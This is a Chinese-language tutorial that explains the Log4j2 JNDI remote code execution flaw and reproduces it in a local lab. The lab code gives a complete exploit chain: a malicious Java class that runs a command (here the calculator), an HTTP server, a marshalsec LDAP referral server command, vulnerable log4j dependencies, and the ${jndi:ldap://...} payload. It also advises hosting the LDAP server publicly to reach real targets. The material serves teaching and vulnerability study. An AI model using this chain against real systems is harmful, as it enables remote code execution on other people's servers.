目录
1.背景
1.1影响版本
2.漏洞原理
2.1JNDI是什么
2.2LDAP是什么
2.3JNDI注入原因
2.4 log4j2是什么
3.漏洞复现
3.1准备工作
3.1.1准备恶意代码
3.1.2将恶意代码放到网站目录下
3.1.3 LDAP服务器端
3.1.4客户端搭建
3.1.5 执行代码
4.注意事项
1.背景
部分资源在文章最后百度网盘
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
1.1影响版本
Log4j2.x<=2.14.1
2.漏洞原理
我们在很多漏洞复现文章看到构造的payload是这样的${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex},很多时候看不懂为什么要这样构造,最起码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下面我就用我的理解解释一下,大家参考,不一定全部都是对的。
2.1JNDI是什么
JNDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
我简单说一下它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。
2.2LDAP是什么
LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。如果你想找到一个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉不止一个。
树(dc=ljheee)
分叉(ou=bei,ou=xi,ou= dong)
苹果(cn=redApple)
LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。我们通过LDAP协议去访问。
所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex}就相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是你LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,EX是一个不存在的文件名
2.3JNDI注入原因
第一个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传入的参数来转换协议。
其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。
正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。
第二个是由于JNDI Naming Reference,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 LDAP 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的一个web网站里面,可以通过url地址进行引用,查询的数据如果我自己数据库里面没有,我就会自动去我这个指定的地址在web网站查找指定资源。
2.4 log4j2是什么
Apache Log4j2是一个基于Java的日志记录工具,该工具重写了Log4j框架,并且引入了大量丰富的特性,Apache log4j2是Log4j的升级版,这个日志框架被大量用于业务系统开发,用来记录日志信息。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,以便开发人员记录原因。
不知道说到这个地方有没有懂这个payload的原因,当我们在任何输入框里面输入这个payload,那么log4j2就会将我们的输入的信息记录到日志中,在记录日志的时候会间接的调用log4j2 的 MessagePatternConverter 组件中的 format 方法。该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:ldap 这样的协议格式则进行jndi方式的 ldap 调用。通过JNDI这个接口传入一个可控参数,因为JNDI动态协议转换,所以我们传入ldap协议,就会自动换成这个协议,然后调用lookup去LDAP服务器端去获取一个不存在的资源,因为这个资源不存在,且支持JNDI Naming Reference,那么LDAP就会去他指定的一个url去动态加载。如果加载的这个资源里面包含无参构造函数或者静态方法那么代码就会被执行。
3.漏洞复现
3.1准备工作
3.1.1准备恶意代码
准备一个编译好的恶意代码,java代码都需要编译的,代码里面有无参函数或者静态方法,因为我们需要代码能够执行,代码如下,将编译好的文件放到你的网站目录下
public class Exploit {
static {
try {
System.out.println("执行漏洞代码1");
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
System.out.println("执行漏洞代码2");
} catch ( Exception e ) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new Exploit();
}
}
#恶意的Exploit代码,功能打开电脑的计算器。
3.1.2将恶意代码放到网站目录下
这里以我自己为例我是直接放在我的服务器端的,也可以在虚拟机或者物理机开启http服务。然后通过python3去开启一个http服务。你需要自己去下载python3,然后配置环境,自己去网上找教程。默认端口是8000,这个可以自己改。
python3 -m http.server
3.1.3 LDAP服务器端
这里我是直接用的marshalsec,自己去百度如何下载安装配置,它可以很容易让我们搭建一个LDAP服务器端,命令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
#当查询资源不存在就去http://127.0.0.1:8000/#Exploit这个地址访问Exploit
因为我的恶意代码和我的LDAP服务端都安装在我的服务器所以地址是127.0.0.1,如果不在一起对应的地址是你开启http服务的IP地址。代码需要进入到marshalsec/target下面去执行。这样就会监听1389端口,因为LDAP默认是1389端口访问。
3.1.4客户端搭建
首先需要下载一个IDEA软件,它是运行java代码,自己去找教程,jdk最好是小于1.8.191的,可以新建java项目,会自动出现pom.xml文件,在里面引入log4j2依赖包,不会使用IDEA就找度娘,代码如下
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-1.2-api</artifactId>
<version>2.12.1</version>
</dependency>
</dependencies>
客户端代码
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://xxx.xx.xx.x:1389/Ex}");
}
}
3.1.5 执行代码
在log4jRCE.java这个文件右击点击运行,就会弹出计算器。漏洞成功复现
4.注意事项
- 不同的 JDK 对于com.sun.jndi.ldap.object.trustURLCodebase的默认值不一样,所以为了测试统一设置成true 便于触发。
- 不同的 JDK 版本的默认值可能导致这个 bug 不会被触发。
这里解释一下为什么搭建LDAP服务最好在服务器,因为在现实生活中,目标机是没有办法和我们攻击相通的大家都在一个不同局域网,但是一般可以访问公网的。所以需要将东西搭建的公网上。这样当我们在输入框输入我们的payload 就可以实现攻击。
大家可以在我的log4j2百度网盘里面有一些资源,如果你客户端不会自己弄,自己下载log4j-rec文件打开就行。
链接:https://pan.baidu.com/s/1VF8K1kFqwGgSN9jVq-EpOQ
提取码:ftwq 文章来源:https://www.toymoban.com/news/detail-450941.html
文章来源地址https://www.toymoban.com/news/detail-450941.html
到了这里,关于log4j2漏洞原理和漏洞环境搭建复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!